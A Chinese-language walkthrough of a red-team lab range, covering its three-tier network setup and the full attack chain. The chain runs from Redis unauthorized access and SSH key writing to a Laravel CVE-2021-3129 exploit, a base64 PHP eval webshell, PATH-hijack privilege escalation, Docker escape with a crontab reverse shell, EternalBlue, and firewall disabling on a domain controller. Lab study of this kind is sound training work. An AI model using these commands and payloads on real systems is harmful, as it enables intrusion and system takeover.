ATT-CK红队实战靶场07
环境搭建
整个靶场环境一共五个靶机(总共27.8 GB),分别位于三层网络环境中:
DMZ区IP段为192.168.1.1/24 复制物理机网络
第二层网络环境IP段为192.168.52.1/24
第三层网络环境IP段为192.168.93.1/24
网络设置
在Vmware中新增两个虚拟网卡VMnet8、VMnet14。VMnet8设为默认的NAT模式,IP段设为
192.168.52.0/24;VMnet14设为仅主机模式,IP段设为192.168.93.0/24:
将VMnet8作为第二层网络的网卡,VMnet14作为第三层网络的网卡。这样,第二层网络中的所有主机
皆可以上网,但是位于第三层网络中的所有主机都不与外网相连通,不能上网。
DMZ区域:
给Ubuntu (Web 1) 配置了两个网卡,一个桥接可以对外提供服务;一个连接在VMnet8上连通第二
层网络。
第二层网络区域:
给Ubuntu (Web 2) 和Windows 7 (PC 1)都配置了两个网卡,一个连接在VMnet8上连通第二层网
络,一个连接在VMnet14上连通第三层网络。
第三次网络区域:
给Windows Server 2012和Windows 7 (PC 2)都只配置了一个网卡,一个连接在VMnet14上连通第
三层网络。
服务配置
靶场中各个主机都运行着相应的服务并且没有自启功能,如果你关闭了靶机,再次启动时还需要在相应
的主机上启动靶机服务(有的需要加上sudo执行):
DMZ区的Ubuntu需要启动nginx服务:
redis-server /etc/redis.conf
/usr/sbin/nginx -c /etc/nginx/nginx.conf
iptables -F
第二层网络的Ubuntu需要启动docker容器:
sudo service docker start
sudo docker start 8e172820ac78
第三层网络的Windows 7PC 2)需要启动通达OA:
C:\MYOA\bin\AutoConfig.exe
用户信息
**域用户账户和密码如下 **:
Administrator:Whoami2021
whoami:Whoami2021
bunny:Bunny2021
moretz:Moretz2021
**Ubuntu 1 **:
web:web2021
**Ubuntu 2 **:
ubuntu:ubuntu
**通达OA账户 **:
admin:admin657260
外网打点
对dmz靶机进行端口扫描
22端口:ssh,基本不考虑爆破
80,81端口:访问一个404一个502不知道是不是我环境搭建有问题
6379端口:redis未授权访问
redis未授权访问
尝试连接,发现存在redis未授权访问
现在有三个利用思路:
1、写webshell
2、写ssh公钥
3、写计划任务
这里有一点限制,2和3都需要root权限启动的redis才能执行,因为我们这里是用sudo启动的redis,所以可以直接写公钥
添加首位换行,避免乱码
1 | (echo -e "\n\n";cat .ssh/id_rsa.pub;echo -e "\n\n") > key.txt |
设置备份路径并写入公钥
1 | ┌──(root㉿kali)-[~] |
ssh免密登录
上线到msf
使用 exploit/multi/script/web_delivery
文件落地上线,这样比生成门后快一点
设置好payload和target
将运行结果复制到ssh shell中运行
msf收到会话
内网打点
信息收集
存在两张网卡,还有另一个网段52
添加路由把msf代理进去
msf主机存活扫描模块
1 | auxiliary/scanner/discovery/arp_sweep ARP扫描 |
msf端口扫描模块
1 | auxiliary/scanner/portscan/ack TCP ACK端口扫描 |
反向代理使用nmap对52网段进行扫描
添加代理
1 | vim /etc/proxychains4.conf |
nmap扫描内网太慢了,而且这样走msf的proxy模块,很不稳定,必须走tcp流量,而30靶机开启了防火墙所以一直回显denied
关了防火墙用msf模块扫描
浏览器挂上反向代理,或者直接用proxychains打开火狐
都存在web服务
30是通达oa
20是Laravel
通达oa
先看通达oa,爆出过不少漏洞,记得用proxychains代理检测工具
蚁剑直接添加socks4代理
直接就是system权限
发现还有一个网段93/24
Laravel
52网段还存在一个Laravel框架的web服务,爆出了版本,存在漏洞
nginx反向代理,应该就是最开始dmz区的那台主机的81端口的服务,当时我忘了开机,所以访问502
下载exp,修改url https://github.com/crisprss/Laravel_CVE-2021-3129_EXP
先写webshell到蚁剑,用base64写马不用担心转义问题
1 | echo PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+|base64 -d >1.php |
做信息收集发现主机名很奇怪,存在dockerenv文件应该是docker容器了
用curl上线到msf,少很多命令要自己调整一下
提权+docker 逃逸
先提权再逃逸,linux提权三板斧,有个shell看看
运行发现应该是个ps命令,是s权限
我们可以构造一个环境变量来替换这个shell文件达到提权目的
1 |
|
不知道为什么蚁剑里修改环境变量没生效,到msf里修改生效了
反弹一个shell到nc吧,半交互式shell方便一点
提权完成,开始逃逸,docker逃逸一般都是特权模式逃逸,创建容器时通过添加–privileged=true参数,将容器以特权模式起动,提权模式可以访问宿主机文件
特权模式起动的容器,实战可通过cat /proc/self/status |grep Cap命令判断当前容器是否通过特权模式起(000000xfffffffff代表为特权模式起
将本地目录挂载到宿主机
1 |
|
再利用计划任务反弹shell
1 | cd /tmp && touch shell.sh && chmod +x shell.sh |
再写入计划任务
1 | sed -i '$a*/1 * * * * root bash /tmp/shell.sh ' /xx/etc/crontab |
kali监听
再上线到msf维持权限
域渗透
现在拿到的权限有,dmz区域的外网靶机,和两台52网段的靶机.根据拿到的靶机发现还存在第三层网络93网段,并且存在域环境
添加到93网段的路由
因为第二层是出网的,也可以上线cs抓一下密码
再用fscan扫描内网
扫出30和40两个主机,30为dc,都存在17010永恒之蓝,上传frp配置代理到web2,因为第二层是出网的,所以直接配置一层就行(msf的隧道不稳经常掉)
配置隧道
kali配置服务端frps.ini,启动
1 | [common] |
web2配置frpc.ini,启动方法一样
1 | [common] |
porxychins添加一条,其他工具就可以走这个代理
1 | socks5 127.0.0.1 1080 |
域内横向
msf添加一个代理
1 | setg Proxies socks5:127.0.0.1:1080 |
尝试永恒之蓝,这里要注意使用正向payload,因为目标靶机是不出网的
成功拿到192.168.93.40的会话
打域控的时候发现利用成功但是没返回会话
应该是没关防火墙,用winexe登录到域控上去把防火墙关了,前面已经用cs抓到管理员的密码
1 | proxychains winexe -U 'administrator%Whoami2021' //192.168.93.30 cmd.exe |
1 | netsh advfirewall set allprofiles state off #关闭防火墙 |
关闭防火墙后继续打,成功拿下DC